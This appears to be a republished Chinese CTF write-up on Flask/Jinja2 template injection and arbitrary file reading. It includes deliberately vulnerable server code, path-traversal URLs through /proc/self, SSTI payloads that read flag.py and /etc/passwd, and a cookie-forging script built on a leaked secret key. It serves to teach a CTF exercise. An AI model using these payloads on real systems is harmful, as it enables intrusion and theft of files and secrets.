【精选】任意文件读取漏洞中flask SSTL 注入练习总结

您所在的位置:网站首页 flask文件结构 【精选】任意文件读取漏洞中flask SSTL 注入练习总结

【精选】任意文件读取漏洞中flask SSTL 注入练习总结

2023-11-16 07:28| 来源: 网络整理| 查看: 265

一、flask:

        Flask是一个使用python编写的 Web 应用框架,模板引擎使用 Jinja2 。j简单理解为,flask 是一个开发web 程序的python 第三方框架,即可以通过这个框架编写自己想要的web 程序。

二、SSTL注入:

         中文解释为 服务器模板注入攻击,即服务器端接受客户端输入数据,并作为web 应用模板数据的一部分,在执行目标渲染时,恶意代码将被执行。重点就在对目标文件渲染的过程,不同的框架使用的渲染模板引擎不同,flask 使用的时Jinja2进行渲染。

        flaskx下有两种渲染方式

flask.render_template_string("目标字符串") #z字符渲染 flask.render_template(目标文件,参数(键对值形式:name=value)) #文件渲染 import os from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) app = Flask(__name__) #字符渲染 @app.route('/') def index(): txt='''hello world!''' return render_template_string(txt) #文件渲染 @app.route('/') def index(): txt='''hello world!''' return render_template('test.html',test=txt) #文件渲染的目标文件 # templates文件下 # /test.html 文件有 welcome! {{test}}

        上面代码启用字符渲染时,客户端访问 http://ip:5000/  得到 hello world! 

        当启用文件渲染时,客户对岸输入 http://ip:5000/ 将得到

 而存在SSTL 漏洞的是第一种字符渲染,

import os from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) app = Flask(__name__) #字符渲染 @app.route('/') def index(): code = request.args.get('xxx') txt='''hello world! %s'''%(code) return render_template_string(txt)

当输入 http://ip:5000/?xxx={{9*9}} 时得到了 81 可见表达式被执行了 。在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}可以传递变量,还可以执行一些简单的表达式。

 这就是一个简单的SSTL 漏洞

三、原题目来自 《从0 到1 CTFer成长之路配到练习》,下面是简化的题目

 题目描述:

        flask 框架 编写的一个 简易web 应用程序,server.py

import os from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) from flask_session import Session with open('flag.py','r') as f: exec(f.read()) with open('key.py','r') as f: exec(f.read()) app = Flask(__name__) FALG=flag app.secret_key=key @app.route("/", methods=["GET"]) def index(): return render_template("main.html") @app.route("/test", methods=["GET", "POST"]) def test(): if requesthod != "POST": return render_template_string('''!!!''') name= request.form.get('test') or None name = name.replace(".", "").replace("_", "").replace("{","").replace("}","") print(name) if "test" not in session or session['test'] is None: session['test']=name if session['test'] is not None: template = '''hello %s Welcome!点击试试 '''% session['test'] session['test'] = None return render_template_string(template) @app.route('/article', methods=['GET']) def article(): page = request.args.get('name') if page.find('flag')>=0: return render_template_string("NO NO NO!!!") if page=='article': page=page+'.txt' try: template = open('{}'.format(page),encoding='utf-8').read() except Exception as e: template = e return render_template('article.html', template=template) if __name__ == "__main__": app.run(host='0.0.0.0', debug=False) 题目 目录环境为 /test/ server.py article.txt flag.py key.py /templates/ article.html main.html # flag.py 文件内容 flag='flag{lusongtestflask}' # key.py 文件内容 key='asdfghjkloiuygvbhg56tfd' # article.txt 文件内容 你好!加油! # article.html 文件内容 Article Content: {{template}} # main.html 文件内容 Welcome to ctf test page Your name:

        练习目标:熟悉 linux的proc目录、flask 注入、任意文件读取

四、解题步骤:

1、靶机 运行web 程序   python3 server.py

2、浏览器访问:http://ip:5000/             flask 默认端口 5000

 2、看到一个输入界面,随意输入 提交  输出一句话 ,其我们刚输入的字符被一起输出。

 4、点击

5、发现是GET 传入 name=article  尝试随便输入一个数据

 发现抱错 没有找到文件 或目录 ,即得出结论,这是要传一个文件,试着做目录穿透

6、访问: http://ip:5000/article?name=../../../../proc/self/cmdline

         proc 目录通常存储着进程动态运行的各种信息,是一种虚目录 、/proc/[pid]/  表示存储这进程id为pid 的 进程信息,当方法当前进程 pid 用self 代替,即 /proc/self/.

        /proc/[pid]/cmdline 下可读出进程在终端输入过的命令命令 

         则根据返回的 python3server.py 可得知 当前进程为启动的一个server.py 程序。因为proc目录为虚拟目录,想要到进程实际目录 可用cwd 命令跳转

7、访问:访问: http://ip:5000/article?name=../../../../proc/self/cwd/server.py

 得到server.py 源码,发现 flag.py、key.py,而且和server.py 在一层目录

 

 直接访问 http://ip:5000/article?name=../../../../proc/self/cwd/flag.py ,发现访问不了 ,

看看key.py能否访问, 访问:http://ip:5000/article?name=../../../../proc/self/cwd/key.py ,发现可以得到数据。

 分析server.py 中key 的作用

 发现 app.secret_key=key,  app.secret_key 为flask 的session 的签名密钥,session 是基于cookie的,即session 经过加密后形成cookie ,分析server.py 中的代码:

发现,前面我们向表单输入一个数据,并不是直接返回,是先放在session 中,在通过session['test]得到并整合到一个字符串中,然后通过render_template_string() 进行渲染,即这存在一个SSTL 注入漏洞,我们的目的是要读取flag,py 文件信息,想到python的魔法方法,

python2 下获取file 类实现文件读取 # 获得一个字符串实例 >>> "" '' # 获得字符串的type实例 >>> "".__class__ //获取实列的type 实例 (个人暂时理解为获取实例的 类型/类) # 获得其父类 >>> "".__class__.__mro__ (, , ) //object 类为万类之源 # 获得父类中的object类 >>> "".__class__.__mro__[2] # 使用__subclasses__()方法,获得object类的子类 >>> "".__class__.__mro__[2].__subclasses__() [, ...... # 获得第40个子类,即一个file类 >>> "".__class__.__mro__[2].__subclasses__()[40] # 实现file 类 来读取想要读取的的文件信息 >>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd") # 使用file() 读取信息 >>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() #python3 取消了file 类,可以用 类代替 #同样操作 从一个基类向上找object 类,在向下寻找需要的额类 >>>"".__class__.__bases__[0].__subclasses__()[100] #查看这个类的方法有那些 >>"".__class__.__bases__[0].__subclasses__()[100].__dict__ #发现一个 get_data() 方法 {'__module__': '_frozen_importlib_external', '__doc__': 'Base file loader class which implements the loader protocol methods that\n require file system usage.', '__init__': , '__eq__': , '__hash__': , 'load_module': , 'get_filename': , 'get_data': , 'get_resource_reader': , 'open_resource': , 'resource_path': , 'is_resource': , 'contents': , '__dict__': , '__weakref__': } #调用 get_gata() 读取文件 >>"".__class__.__bases__[0].__subclasses__()[100].get_data('r','flag.py')

 构造 数据: python2 为:{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}

     python3为:{{().__class__.__bases__[0].__subclasses__()[index].get_data('r','flag.py')}}

 index 的值在不同的python3 不同的版本中是不同的 python3.8.10 为99 python 3.9.7为100 其他的没试过

利用一些浏览器工具查看服务器信息发现python 版本为 python3.8.10

则注入原数据为: 

               {{().__class__.__bases__[0].__subclasses__()[99].get_data('r','flag.py')}}

我的环境为python3 使用第二条数据,发现没用,而且我们输入的一些符号没有回显,推断服务器将我们输入的数据进行了一些符号处理。 

 

 查看源码,发现这么一条代码,即对我们输入的 一些符号进行了删除

name = name.replace(".", "").replace("_", "").replace("{","").replace("}","")

cookie 伪造吧,想想我们已经获取了app.secret_key的值,具有伪造flask cookie 的条件,编写简单的脚本生成cookie

import os from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) from flask_session import Session app = Flask(__name__) app.secret_key='asdfghjkloiuygvbhg56tfd' #获取的key @app.route('/') def index(): #要伪造的数据 python 3.8.10 为99 txt="{{().__class__.__bases__[0].__subclasses__()[99].get_data('r','flag.py')}}" session['test']=txt #放入session 中 会用 key 自动加密后发给客户端 ls='''hello ''' return render_template_string(ls) if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)

 运行上面的脚本,并在浏览器访问,得到伪造的cookie数据

将得到的cookie 复制在目标网站的cookie 的cookie中,并保存  

 

 点击提交,伪造的cookie 信息就被发送到了服务器中,得到flag信息。 

 五、总结

        flask SSTL 注入、 python 魔法方法 、 linux proc 文件 。在做的时候关键是在python 3 中没有file 类,要从新寻找一个类来实现文件读取,在网上查询了很多的文章,但放在总结的环境中总是报错,在一个一个尝试下 发现 类能用,但在不同的python 版本中这个类的位置又不一样,但都在 "".__class__.__bases__[0].__subclasses__() 下 ,即 object 类的下的第一层。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3